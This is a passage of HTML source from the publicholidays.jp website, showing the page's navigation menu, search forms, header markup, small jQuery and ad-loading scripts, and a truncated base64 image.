245                if(document.getElementById("phgviewportconditional_23891").parentElement.parentElement.tagName == "TR") { document.getElementById("phgviewportconditional_23891").parentElement.parentElement.style.display = "none"; }
246            }
247
248            var arr = document.getElementById("phgviewportconditional_23891").getElementsByTagName("script");
249            for (var n = 0; n < arr.length; n++) {
250                eval(arr[n].innerHTML);
251            }
252        });
253     </script>
253    <div class="off-canvas-wrapper">
254        <div class="off-canvas-wrapper-inner" data-off-canvas-wrapper>
255
256<div class="off-canvas position-right is-closed" id="offCanvas" data-off-canvas data-position="right" data-auto-focus="false">
257
258    <!-- logo -->
259    <a href="/"><img class="nav__logo nav__logo--off" id="logo" src="https://publicholidays.jp/wp-content/uploads/2018/01/Public_Holidays_Global_new.png" srcset="https://publicholidays.jp/wp-content/uploads/2018/01/Public_Holidays_Global_new.png 639w, https://publicholidays.jp/wp-content/uploads/2018/01/Public_Holidays_Global_new.png 1024w, https://publicholidays.jp/wp-content/uploads/2018/01/Public_Holidays_Global_new.png 1600w" alt=""></a>
260
261    <!-- Close button -->
262    <button class="close-button" aria-label="Close menu" type="button" data-close="">
263        <i class="fa fa-close" aria-hidden="true"></i>
264    </button>
265
266    <ul class="accordion__nav vertical menu" data-accordion-menu>
267
268        
269            <li>
270
271                
272				                <a class="" href="https://publicholidays.jp/">Home</a>
273				
274            </li>
275
276        
277            <li>
278
279                
280				                <a class="" href="https://publicholidays.jp/">Public Holidays</a>
281				
282            </li>
283
284        
285            <li>
286
287                
288				                <a class="" href="https://publicholidays.jp/observances/">Other Observances</a>
289				
290            </li>
291
292        
293            <li>
294
295                
296				                <a class="" href="https://publicholidays.jp/ja/">日本語</a>
297				
298            </li>
299
300        						<li><form role="search" method="get" class="search-form" action="https://publicholidays.jp/">
301				<label>
302					<span class="screen-reader-text">Search for:</span>
303					<input type="search" class="search-field" placeholder="Search &hellip;" value="" name="s" />
304				</label>
305				<input type="submit" class="search-submit" value="Search" />
306			</form></li>
307			    </ul>
308</div>
309                <div class="off-canvas-content" data-off-canvas-content>
310    <!-- start everything -->
311
312                    <header data-swiftype-index='false' class="hide-for-print main-page-header  " style="background-color: #333333; background-image: url('https://publicholidays.jp/wp-content/uploads/2024/02/Japan_Observances_Output.jpg'); background-position: center center">
313<div id="row-top" class="row-wrapper no-class" >
314 <div id="row-inner-top" class="row-inner-wrapper row">
315
316<!-- medium-up top bar  -->
317<div class="nav__toggle column">
318	<!-- logo -->
319    <div class="logo">
320	<a href="/"><img class="nav__logo" id="logo" src="https://publicholidays.jp/wp-content/uploads/2018/01/Public_Holidays_Global_new.png" srcset="https://publicholidays.jp/wp-content/uploads/2018/01/Public_Holidays_Global_new.png 639w, https://publicholidays.jp/wp-content/uploads/2018/01/Public_Holidays_Global_new.png 1024w, https://publicholidays.jp/wp-content/uploads/2018/01/Public_Holidays_Global_new.png 1600w" alt=""></a>
321    </div>
322
323    <!-- right side menu-->
324	<ul class="menu float-right show-for-large">
325
326			<!-- Hamburger menu toggle - desktop -->
327			<li class="nav__menu">
328				<a class="offcanvas-toggle">
329					<i class="fa fa-bars fa-white" aria-hidden="true">
330					</i>
331				</a>
332			</li>
333
334							<li class="nav__menu" id="nav-search-item" data-toggler=".is-active">
335					<a class="nav__link" data-toggle="nav-search nav-search-item"></a>
336				</li>
337				</ul>
338    <!-- END: right side menu-->
339
340	
341	<a class="float-right hide-for-large offcanvas-toggle">
342		<i class="fa fa-bars fa-white" aria-hidden="true">
343						<span class="nav-search-button"></span>
344					</i>
345	</a>
346
347	
348</div>
349
350<script>
351	jQuery(document).ready(function() {
352		jQuery('header div[data-toggler]').on('on.zf.toggler', function() {
353			var current_selection = jQuery(this).attr('id');
354			jQuery('header div[data-toggler], header span[data-toggler], header li[data-toggler]').each(function() {
355				if (jQuery(this).attr('id') != current_selection && jQuery(this).hasClass('is-active')) {
356					jQuery(this).foundation('toggle');
357				}
358			});
359		});
360	});
361</script>
361
362 </div>
363</div>
364<div id="row-menu-level2" class="row-wrapper no-class" >
365 <div id="row-inner-menu-level2" class="row-inner-wrapper row">
366
367<div class="show-for-large large-24 columns text3">
368
369	
370			
371			<div id="nav-public-holidays-20170" class="nav-level2" data-toggler=".is-active" [class]="public_holidays_20170 ? 'nav-level2 is-active' : 'nav-level2'">
372				<ul class="nav-public-holidays-20170 menu float-right">
373									</ul>
374			</div>
375
376	
377			
378			<div id="nav-public-holidays-20171" class="nav-level2" data-toggler=".is-active" [class]="public_holidays_20171 ? 'nav-level2 is-active' : 'nav-level2'">
379				<ul class="nav-public-holidays-20171 menu float-right">
380									</ul>
381			</div>
382
383	
384			
385			<div id="nav-observances2" class="nav-level2" data-toggler=".is-active" [class]="observances2 ? 'nav-level2 is-active' : 'nav-level2'">
386				<ul class="nav-observances2 menu float-right">
387									</ul>
388			</div>
389
390	
391			
392			<div id="nav-ja3" class="nav-level2" data-toggler=".is-active" [class]="ja3 ? 'nav-level2 is-active' : 'nav-level2'">
393				<ul class="nav-ja3 menu float-right">
394									</ul>
395			</div>
396
397							<div id="nav-search" class="nav-level2" data-toggler=".is-active">
398				<form role="search" method="get" class="search-form" action="https://publicholidays.jp/">
399				<label>
400					<span class="screen-reader-text">Search for:</span>
401					<input type="search" class="search-field" placeholder="Search &hellip;" value="" name="s" />
402				</label>
403				<input type="submit" class="search-submit" value="Search" />
404			</form>			</div>
405			</div>
406 </div>
407</div>
408<div id="row-hero" class="row-wrapper no-class" >
409 <div id="row-inner-hero" class="row-inner-wrapper hero__title row">
410
411<div class="hero__callout">
412	<img class="callout__svg" alt="Start Planning" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAmwAAADCCAYAAAD0HJ6SAAAEuGlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNS41LjAiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgeG1sbnM6ZXhpZj0iaHR0cDovL25zLmFkb2JlLmNvbS9leGlmLzEuMC8iCiAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyIKICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3Nob3AvMS4wLyIKICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIKICAgIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIgogICAgeG1sbnM6c3RFdnQ9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZUV2ZW50IyIKICAgZXhpZjpQaXhlbFhEaW1lbnNpb249IjYyMCIKICAgZXhpZjpQaXhlbFlEaW1lbnNpb249IjE5NCIKICAgZXhpZjpDb2xvclNwYWNlPSIxIgogICB0aWZmOkltYWdlV2lkdGg9IjYyMCIKICAgdGlmZjpJbWFnZUxlbmd0aD0iMTk0IgogICB0aWZmOlJlc29sdXRpb25Vbml0PSIyIgogICB0aWZmOlhSZXNvbHV0aW9uPSI3Mi8xIgogICB0aWZmOllSZXNvbHV0aW9uPSI3Mi8xIgogICBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIgogICBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiCiAgIHhtcDpNb2RpZnlEYXRlPSIyMDIzLTAyLTI0VDIwOjE1OjEwKzExOjAwIgogICB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTAyLTI0VDIwOjE1OjEwKzExOjAwIj4KICAgPHhtcE1NOkhpc3Rvcnk+CiAgICA8cmRmOlNlcT4KICAgICA8cmRmOmxpCiAgICAgIHN0RXZ0OmFjdGlvbj0icHJvZHVjZWQiCiAgICAgIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFmZmluaXR5IERlc2lnbmVyIDIgMi4wLjQiCiAgICAgI
412HN0RXZ0OndoZW49IjIwMjMtMDItMjRUMjA6MTU6MTArMTE6MDAiLz4KICAgIDwvcmRmOlNlcT4KICAgPC94bXBNTTpIaXN0b3J5PgogIDwvcmRmOkRlc2NyaXB0aW9uPgogPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KPD94cGFja2V0IGVuZD0iciI/Pg2ObaMAAAGCaUNDUHNSR0IgSUVDNjE5NjYtMi4xAAAokXWRy0tCQRSHP7Wwh2VQCxctJKxVRQ+Q2gQpYYGEmEGvjd58BD4u9yohbYO2QkHUptei/oLaBq2DoCiCaFvrojYVt3MzUCLPcOZ885s5h5kzYI2klYxeNwCZbF4LB3zuufkFt/0JKy4aacUZVXR1PBQKUtPeb7GY8brPrFX73L/WvBzXFbA0CI8pqpYXnhQOruZVk7eEO5RUdFn4RLhXkwsK35h6rMzPJifL/GmyFgn7wdom7E5WcayKlZSWEZaX48mkC8rvfcyXOOLZ2RmJXeKd6IQJ4MPNFBP48TLIqMxe+hiiX1bUyB/4yZ8mJ7mKzCpFNFZIkiJPr6gFqR6XmBA9LiNN0ez/377qieGhcnWHD+ofDeO1G+yb8FUyjI8Dw/g6BNsDnGcr+bl9GHkTvVTRPHvgXIfTi4oW24azDXDdq1Et+iPZxK2JBLwcQ8s8tF9B02K5Z7/7HN1BZE2+6hJ2dqFHzjuXvgEHAWe6C94ikgAAAAlwSFlzAAALEwAACxMBAJqcGAAAIABJREFUeJzsnWe4JUW1ht8amIFhyCBBMpJRUEGCogKCAgpivgYQRS8G1IuBKwqYMV3MAiqgomJARQkCApJHSZKRHIcwgTSEGSZ998eqZu+zT3dXde/e4Zyp93nmmXPO7q6u3alWrVrrW5BIJBKJRCKRSCQSiUQikUgkEolEIpFIJBKJRCKRSCQSiUQikUgkEolEIpFIJBKJRCKRSCQSiUQikUgkEolEIpFIJBKJRCKRSCQSiUQikUgkEolEIpFIJBKJRCKRSCQSiUQikUgkEolEIpFIJBKJRCKRSCQSiUQikUgkEolEIpFIJBKJRCKRSCQSiUQikUgkBoYbdAeGHUkTgZWBjYEXANOAh4FZzrnpg+xbIpFIJBKJxGKLpA0lfUrSJZIWKZ/5kr4lactB9zeRSCQSiURisUDSWpI+L+m6AgOtjIMG3f9EIp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